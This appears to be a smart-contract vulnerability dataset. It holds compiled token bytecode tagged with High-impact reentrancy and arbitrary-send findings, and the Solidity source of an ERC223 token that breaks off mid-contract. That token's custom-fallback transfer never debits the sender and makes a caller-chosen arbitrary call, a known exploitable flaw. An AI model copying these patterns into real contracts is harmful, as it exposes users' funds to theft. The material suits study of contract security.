ffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f204d414e49414320444f47450000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023597c64b14399989589a2dbfcbd2161f6c76e5640009fe8400abb8da0f85d6264736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,327 |
0x297cb49f672a7e728385ed7f273972fbcc496604
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract ERC223Token is Pausable {
using SafeMath for uint256;
mapping (address => uint) balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
event FrozenFunds(address target, bool frozen);
event Approval(address indexed owner, address indexed spender, uint256 value);
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
constructor(string _name, string _symbol, uint8 _decimals, uint256 _supply)
{
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _supply * (10 ** decimals);
balances[msg.sender] = totalSupply;
}
// Function to access name of token .
function name() constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
function whoIsOwner() constant returns (address _owner) {
return owner;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback)
whenNotPaused
returns (bool success)
{
require(_to != address(0));
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
if(isContract(_to)) {
require(balanceOf(msg.sender) >= _value);
balances[_to] = balanceOf(_to).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
assert(_to.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data));
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data)
whenNotPaused
returns (bool success) {
require(_to != address(0));
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value)
whenNotPaused
returns (bool success) {
require(_to != address(0));
require(!frozenAccount[_to]);
require(!frozenAccount[msg.sender]);
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(_to != address(0));
require(!frozenAccount[_to]);
require(balanceOf(msg.sender) >= _value);
require(!frozenAccount[msg.sender]);
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(_to != address(0));
require(!frozenAccount[_to]);
require(balanceOf(msg.sender) >= _value);
require(!frozenAccount[msg.sender]);
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value)
public
whenNotPaused
returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
